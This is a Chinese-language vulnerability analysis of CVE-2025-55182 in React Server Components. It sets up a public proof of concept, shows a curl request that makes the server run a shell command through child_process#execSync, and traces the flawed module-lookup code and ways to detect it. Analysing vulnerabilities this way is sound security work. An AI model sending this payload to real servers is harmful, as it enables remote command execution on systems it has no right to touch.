近期,一个涉及React服务器组件的安全漏洞(CVE-2025-55182)引发了广泛关注,多家安全机构发布了预警。本文将从技术原理出发,对该漏洞进行深入分析,并探讨其实际影响。
环境搭建与漏洞复现
首先,我们可以按照公开的PoC来搭建测试环境:
git clone https://github.com/ejpir/CVE-2025-55182-poc
cd CVE-2025-55182-poc
# Install dependencies
npm install
# Start vulnerable server (port 3002)
npm start
启动漏洞服务后,可通过以下请求触发漏洞:
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"child_process#execSync","bound":["ifconfig"]}'

漏洞原理分析
漏洞入口:动态分发函数
根据PoC可知,问题出在decodeAction函数。查阅文档,该函数负责动态路由功能,根据输入查找并调用相应的服务器端函数。

关键函数调用链分析
-
入口函数 decodeAction()
exports.decodeAction = function (body, serverManifest) {
var formData = new FormData(),
action = null;
body.forEach(function (value, key) {
key.startsWith("$ACTION_")
? key.startsWith("$ACTION_REF_")
? ((value = "$ACTION_" + key.slice(12) + ":"),
(value = decodeBoundActionMetaData(body, serverManifest, value)),
(action = loadServerReference(
serverManifest,
value.id,
value.bound
)))
: key.startsWith("$ACTION_ID_") &&
((value = key.slice(11)),
(action = loadServerReference(serverManifest, value, null)))
: formData.append(key, value);
});
return null === action
? null
: action.then(function (fn) {
return fn.bind(null, formData);
});
};
作用:解析FormData,识别$ACTION_REF_或$ACTION_ID_字段,并调用loadServerReference函数。
-
中间函数 loadServerReference()
function loadServerReference(bundlerConfig, id, bound) {
var serverReference = resolveServerReference(bundlerConfig, id);
bundlerConfig = preloadModule(serverReference);
return bound
? Promise.all([bound, bundlerConfig]).then(function (_ref) {
_ref = _ref[0];
var fn = requireModule(serverReference);
return fn.bind.apply(fn, [null].concat(_ref));
})
: bundlerConfig
? Promise.resolve(bundlerConfig).then(function () {
return requireModule(serverReference);
})
: Promise.resolve(requireModule(serverReference));
}
关键点:
- 调用
resolveServerReference解析模块ID。
- 调用
requireModule获取目标函数。
- 使用
fn.bind.apply将bound数组绑定为函数参数。
-
解析函数 resolveServerReference()
function resolveServerReference(bundlerConfig, id) {
var name = "",
resolvedModuleData = bundlerConfig[id];
if (resolvedModuleData) name = resolvedModuleData.name;
else {
var idx = id.lastIndexOf("#");
-1 !== idx &&
((name = id.slice(idx + 1)),
(resolvedModuleData = bundlerConfig[id.slice(0, idx)]));
if (!resolvedModuleData)
throw Error(
'Could not find the module "' +
id +
'" in the React Server Manifest. This is probably a bug in the React Server Components bundler.'
);
}
return resolvedModuleData.async
? [resolvedModuleData.id, resolvedModuleData.chunks, name, 1]
: [resolvedModuleData.id, resolvedModuleData.chunks, name];
}
关键点:使用#分割ID。例如child_process#execSync会被分割为模块child_process和函数名execSync。返回的数组 [moduleId, chunks, exportName] 即为后续使用的元数据。
-
存在漏洞的函数 requireModule()
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
if (4 === metadata.length && "function" === typeof moduleExports.then)
if ("fulfilled" === moduleExports.status)
moduleExports = moduleExports.value;
else throw moduleExports.reason;
return "*" === metadata[2]
? moduleExports
: "" === metadata[2]
? moduleExports.__esModule
? moduleExports.default
: moduleExports
: moduleExports[metadata[2]];
}
漏洞位置:在最后一行 moduleExports[metadata[2]]。此处通过属性名(metadata[2],即我们控制的函数名,如execSync)直接访问对象属性,缺少hasOwnProperty检查,导致了原型链污染漏洞。
这意味着,moduleExports对象(例如child_process模块)的所有属性均可被访问,而不仅限于serverManifest中预先定义的函数。攻击者可以利用此特性调用任意模块的任意函数,例如在Node.js环境中执行系统命令。

漏洞本质
这是一个典型的原型链访问/污染漏洞。举例来说,如果serverManifest仅允许调用createUser、deleteUser、uploadImage函数,但攻击者可以通过构造特定的ID(如app-actions-chunk#updateUser),访问并调用同一模块下的其他未授权函数(如updateUser)。

漏洞检测与影响评估
针对该漏洞的检测,可以从以下几个角度考虑:
- 进程特征检测:关注使用
node --conditions react-server app.js命令启动的进程。
- 白盒扫描:检查项目是否依赖并使用了
react-dom/server相关功能。
- 黑盒扫描:由于漏洞端点(Endpoint)及
serverManifest中的具体ID难以预知,通用黑盒扫描比较困难,可尝试通过分析被动流量进行识别。
结论
综合来看,CVE-2025-55182是一个存在于React服务器组件(RSC)框架中的高权限漏洞,其根源在于对动态加载的模块函数缺少严格的访问控制。攻击者利用此漏洞,理论上可以执行任意Node.js模块函数,进而可能导致远程命令执行(RCE),属于高危安全漏洞。不过,由于该漏洞的利用依赖特定的服务器配置(启用了React服务端动作)以及需要知晓或猜测有效的模块ID,其在实际攻击中的通用性受到一定限制。这也反映出在评估漏洞风险时,需结合技术原理与实际应用场景进行综合判断。
|